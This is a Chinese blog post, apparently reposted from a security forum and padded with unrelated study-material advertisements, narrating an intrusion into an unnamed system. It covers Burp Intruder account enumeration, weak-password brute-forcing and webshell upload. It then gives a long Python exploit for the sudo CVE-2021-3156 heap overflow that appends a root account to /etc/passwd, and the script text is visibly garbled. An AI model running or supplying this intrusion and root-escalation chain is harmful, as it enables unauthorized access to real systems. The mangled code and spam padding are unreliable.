如何巧用burp安排某系统,2024年最新面试突击 百度网盘

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新HarmonyOS鸿蒙全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img

img
img
htt

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上鸿蒙开发知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注鸿蒙)
img

正文

在爆破过程中发现有的显示账户不存在,有的显示密码不正确,然而返回包的长度都是一样的,有没有什么快速区分他们的方法呢,其实burp简单配置一下就可以实现这个功能。

打开intruder的Options设置,找到Grep-Match,可以看到这个功能可以通过字符串或正则表达式进行内容匹配

先把原有的清空,然后输入我们想匹配的字符串,想要匹配中文字符的话可以先把中文字符转换成十六进制,然后通过正则匹配。

我们来匹配密码不正确的,使用python把密码不正确转换成十六进制

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

然后把转换好的添加进去。

可以看到长度后面就是我们匹配的字符,这样就可以把存在的账号收集起来然后去爆破弱口令。

成功爆破出来一个账号

登录进去

找个上传点上传shell,一气呵成。

看下系统权限

查看系统版本

可以看到是centos的系统,可以尝试使用sudo提权。

0×02提权

sudo本地提权漏洞(CVE-2021-3156)

漏洞详情:

Sudo是一个功能强大的工具,其允许普通用户执行root权限命令,大多数基于Unix和Linux的操作系统都包含sudo。

2021年01月26日,sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),可导致本地权限提升。

当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

安全研究人员于1月26日公开披露了此漏洞,并表示该漏洞已经隐藏了近十年。

影响范围

Sudo 1.8.2 - 1.8.31p2``Sudo 1.9.0 - 1.9.5p1

查看一下sudo的版本,可以看到这个版本是存在漏洞的。

纠正一点,网上有的说“使用sudoedit -s /命令,如果出现以“ sudoedit:”开头的错误响应,则系统受到此漏洞影响;如果出现以“ usage:”开头的错误响应,则表示该漏洞已被补丁修复”这个说法是不准确的。具体的大家可以自己尝试,不要因为没有显示“sudoedit”就觉得不存在漏洞。

使用一个python脚本

#!/usr/bin/pythonimport osimport sysimport resourcefrom struct import packfrom ctypes import cdll, c_char_p, POINTER SUDO_PATH = b"/usr/bin/sudo" PASSWD_PATH = '/etc/passwd'APPEND_CONTENT = b"aa:

5

5

5AZaSmJBP$lsgF8hex//kd.G4XxUJGaS618ZtYoQ796UpkM/8Ucm3:0:0:gg:/root:/bin/bash\n";#STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabledSTACK_ADDR_PAGE = 0x7fffe5d35000 libc = cdll.LoadLibrary("libc.so.6")libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)def execve(filename, cargv, cenvp):libc.execve(filename, cargv, cenvp)def spawn_raw(filename, cargv, cenvp):pid = os.fork()if pid:# parent_, exit_code = os.waitpid(pid, 0)return exit_codeelse:# childexecve(filename, cargv, cenvp)exit(0)def spawn(filename, argv, envp):cargv = (c_char_p * len(argv))(*argv)cenvp = (c_char_p * len(env))(*env)return spawn_raw(filename, cargv, cenvp)resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))# expect large hole for cmnd size is correctTARGET_CMND_SIZE = 0x1b50 argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ] SA = STACK_ADDR_PAGE ADDR_REFSTR = pack('<Q', SA+0x20) # ref string ADDR_PRIV_PREV = pack('<Q', SA+0x10)ADDR_CMND_PREV = pack(‘<Q’, SA+0x18) # cmndspecADDR_MEMBER_PREV = pack('<Q', SA+0x20) ADDR_DEF_VAR = pack('<Q', SA+0x10)ADDR_DEF_BINDING = pack(‘<Q’, SA+0x30)OFFSET = 0x30 + 0x20ADDR_USER = pack('<Q', SA+OFFSET)ADDR_MEMBER = pack(‘<Q’, SA+OFFSET+0x40)ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)ADDR_PRIV = pack(‘<Q’, SA+OFFSET+0x40+0x30+0x60)# for sprayingepage = [ 'A'*0x8 + # to not ending with 0x00 # fake def->var chunk (get freed)‘\x21’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’,ADDR_PRIV[:6], ‘’, # pointer to privilegeADDR_CMND[:6], ‘’, # pointer to cmndspecADDR_MEMBER[:6], ‘’, # pointer to member `# fake def->binding (list head) (get freed)` `'\x21', '', '', '', '', '', '',` `'', '', '', '', '', '', '', '', # members.first` `'A'*0x10 + # members.last, pad` # userspec chunk (get freed)‘\x41’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # chunk metadata‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # entries.tqe\_next‘A’\*8 + # entries.tqe\_prev‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # users.tqh\_firstADDR\_MEMBER[:6]+‘’, ‘’, # users.tqh\_last‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # privileges.tqh\_firstADDR\_PRIV[:6]+‘’, ‘’, # privileges.tqh\_last‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # comments.stqh\_first # member chunk '\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any) 'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any) ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string) 'A'*8 + # member.name (can be any because this object is not freed) pack('<H', 284), '', # type, negated 'A'*0xc+ # padding # cmndspec chunk‘\x61’*0x8 + # chunk metadata (need only prev_inuse flag)‘A’*0x8 + # entries.tqe_nextADDR_CMND_PREV[:6], ‘’, # entries.teq_prev‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # runasuserlist‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # runasgrouplistADDR_MEMBER[:6], ‘’, # cmnd‘\xf9’+‘\xff’*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # role‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, # type’A’*8 + # padding `# privileges chunk` `'\x51'*0x8 + # chunk metadata` `'A'*0x8 + # entries.tqe_next` `ADDR_PRIV_PREV[:6], '', # entries.teq_prev` `'A'*8 + # ldap_role` `'A'*8 + # hostlist.tqh_first` `ADDR_MEMBER[:6], '', # hostlist.teq_last` `'A'*8 + # cmndlist.tqh_first` `ADDR_CMND[:6], '', # cmndlist.teq_last`]cnt = sum(map(len, epage))`padlen = 4096 - cnt - len(epage)`epage.append(‘P’*(padlen-1))env = [“A”*(7+0x4010 + 0x110) + # overwrite until first defaults“\x21\”, “\”, “\”, “\”, “\”, “\”, “\”, `"A"*0x18 +` # defaults“\x41\”, “\”, “\”, “\”, “\”, “\”, “\”, # chunk size“\”, “\”, “\”, “\”, “\”, “\”, “\”, “\”, # next‘a’\*8 + # prevADDR\_DEF\_VAR[:6]+’\‘, ‘\’, # var“\”, “\”, “\”, “\”, “\”, “\”, “\”, “\”, # valADDR\_DEF\_BINDING[:6]+’\‘, ‘\’, # bindingADDR\_REFSTR[:6]+’\‘, ‘\’, # file“Z”\*0x8 + # type, op, error, lineno“\x31\”, “\”, “\”, “\”, “\”, “\”, “\”, # chunk size (just need valid)‘C’\*0x638+ # need prev\_inuse and overwrite until userspec‘B’\*0x1b0+# userspec chunk# this chunk is not used because list is traversed with curr->prev->prev->next“\x61\”, “\”, “\”, “\”, “\”, “\”, “\”, # chunk sizeADDR\_USER[:6]+’\‘, ‘\’, # entries.tqe\_next points to fake userspec in stack“A”\*8 + # entries.tqe\_prev“\”, “\”, “\”, “\”, “\”, “\”, “\”, “\”, # users.tqh\_firstADDR\_MEMBER[:6]+’\‘, ‘\’, # users.tqh\_last“\”, “\”, “\”, “\”, “\”, “\”, “\”, “”, # privileges.tqh\_first "LC_ALL=C", "SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd "TZ=:",]ENV_STACK_SIZE_MB = 4for i in range(ENV_STACK_SIZE_MB * 1024 / 4): env.extend(epage) # last element. prepare space for '/usr/bin/sudo' and extra 8 bytesenv[-1] = env[-1][:-len(SUDO_PATH)-1-8]env.append(None)cargv = (c_char_p * len(argv))(*argv)cenvp = (c_char_p * len(env))(*env) # write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"r, w = os.pipe()os.dup2(r, 0)w = os.fdopen(w, ‘w’)w.write(APPEND_CONTENT)w.close()null_fd = os.open(’/dev/null’, os.O_RDWR)os.dup2(null_fd, 2) ``for i in range(8192):sys.stdout.write(‘%d\r’ % i)if i % 8 == 0:sys.stdout.flush()exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)if exit_code == 0:print(“success at %d” % i)break

这个脚本使用python2运行,部分centos自带python的。

把脚本上传到网站目录,然后反弹一个交互shell,运行脚本。

成功后会生成一个aa的用户,默认密码为www

0×03结论

善于运用工具可以为渗透带来极大的便利,尤其是BURP是一个非常强大的工具,这次渗透就是运用了BURP的各种功能,还有很多功能也是非常好用的,大家可以多研究。

文章来源:奇安信攻防社区(带头小哥)``原文地址:https://forum.butian.net/share/1096

`黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注鸿蒙)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注鸿蒙)
[外链图片转存中…(img-x9cj3dTx-1713187997029)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 27
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值